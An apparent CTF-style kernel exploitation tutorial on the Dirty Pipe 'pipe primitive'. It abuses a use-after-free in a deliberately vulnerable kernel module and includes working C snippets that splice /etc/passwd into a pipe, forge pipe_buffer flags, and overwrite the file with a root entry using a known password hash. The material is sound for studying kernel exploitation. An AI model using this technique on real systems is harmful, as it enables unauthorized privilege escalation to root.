In this post, I will explain Dirty Pipe, a universal and data-only exploitation technique that allows us to arbitrarily overwrite read-only files. Download the handouts beforehand.
Analysis
The vulnerable LKM provides four commands: CMD_ALLOC, CMD_READ, CMD_WRITE, and CMD_FREE. These commands are used to allocate, read from, write to, and free an object defined as follows:
#define OBJ_SIZE 0x400
struct obj { char buf[OBJ_SIZE];};Note that obj_alloc internally uses kzalloc with the GFP_KERNEL flag. This means the object will be allocated from kmalloc-1k:
static long obj_alloc(void) { if (obj != NULL) { return -1; } obj = kzalloc(sizeof(struct obj), GFP_KERNEL); if (obj == NULL) { return -1; } return 0;}Bugs
In obj_free, obj, which is a reference to a freed memory region, is not cleared:
static long obj_free(void) { kfree(obj); return 0;}This results in an obvious UAF. Since we already have read and write primitives, it is not difficult to control RIP and escalate privileges. However, in this post, we take a data-only approach using Dirty Pipe. Data-only attacks are increasingly important in the current era (due to CONFIG_CFI_CLANG) and are widely used in real-world kernel exploits.
Dirty Pipe
The essence of Dirty Pipe is that when splicing a read-only file to a pipe, the flags field in the corresponding struct pipe_buffer can be set to PIPE_BUF_FLAG_CAN_MERGE, which enables arbitrary overwrites of the read-only file by writing to the pipe. In the original bug (now patched), this was possible because the flags field was left uninitialized. However, in our case, we have a UAF primitive, and since CONFIG_MEMCG is disabled, the array of struct pipe_buffer is also allocated from kmalloc-1k in alloc_pipe_info:
// https://elixir.bootlin.com/linux/v6.13/source/fs/pipe.c#L815-L816struct pipe_inode_info *alloc_pipe_info(void){ ... pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer), GFP_KERNEL_ACCOUNT);This allows us to recreate the same situation by overwriting the flags field. This method is called the pipe primitive.
Exploitation
First, we allocate and free the victim object:
puts("[*] Allocating a victim object from kmalloc-1k");obj_alloc();
puts("[*] Freeing the victim object");obj_free();Next, we allocate an array of struct pipe_buffer and overlap it with the freed victim object:
puts("[*] Allocating pipe buffers to reclaim the memory");int pipefd[2];assert(pipe(pipefd) != -1);Next, splice /etc/passwd to the pipe:
int filefd = open("/etc/passwd", O_RDONLY);assert(filefd != -1);long offset = 0;assert(splice(filefd, &offset, pipefd[1], NULL, 1, 0) != -1);Note that we need to splice at least one byte because of the check in do_splice_read:
// https://elixir.bootlin.com/linux/v6.13/source/fs/splice.c#L967-L968static ssize_t do_splice_read(struct file *in, loff_t *ppos, struct pipe_inode_info *pipe, size_t len, unsigned int flags){ ... if (!len) return 0;Next,we leak the contents of the struct pipe_buffer and overwrite its flags member with PIPE_BUF_FLAG_CAN_MERGE:
puts("[*] Leaking the contents of pipe->bufs[0]");struct pipe_buffer fake_pipe_buffer;obj_read((char *)&fake_pipe_buffer, sizeof(fake_pipe_buffer));printf( "[+] .page = %p, .offset = %#x, .len = %#x, .ops = %p, .flags = %#x, .private = %#lx\n", fake_pipe_buffer.page, fake_pipe_buffer.offset, fake_pipe_buffer.len, fake_pipe_buffer.ops, fake_pipe_buffer.flags, fake_pipe_buffer.private);
puts("[*] Overwriting .len with 0 and .flags with PIPE_BUF_FLAG_CAN_MERGE");fake_pipe_buffer.len = 0;fake_pipe_buffer.flags = PIPE_BUF_FLAG_CAN_MERGE;obj_write((char *)&fake_pipe_buffer, sizeof(fake_pipe_buffer));Note that we also overwrite len member to be 0 because the data will be written from offset + len in pipe_write:
// https://elixir.bootlin.com/linux/v6.13/source/fs/pipe.c#L477-L485static ssize_tpipe_write(struct kiocb *iocb, struct iov_iter *from){ ... int offset = buf->offset + buf->len;
if ((buf->flags & PIPE_BUF_FLAG_CAN_MERGE) && offset + chars <= PAGE_SIZE) { ret = pipe_buf_confirm(pipe, buf); if (ret) goto out;
ret = copy_page_from_iter(buf->page, offset, chars, from);Finally, we overwrite /etc/passwd (j9ep0CjBGivAnD5z6l5rr0 is MD5-encoded password with salt deadbeef):
char payload[] = "root:$1$deadbeef$j9ep0CjBGivAnD5z6l5rr0:0:0:root:/root:/bin/sh";printf("[*] Overwriting /etc/passwd with %s\n", payload);assert(write(pipefd[1], payload, sizeof(payload)) != -1);By running this exploit, we can log in as a root user and see the flag:

References
- Max Kellermann. 2022. The Dirty Pipe Vulnerability. https://dirtypipe.cm4all.com/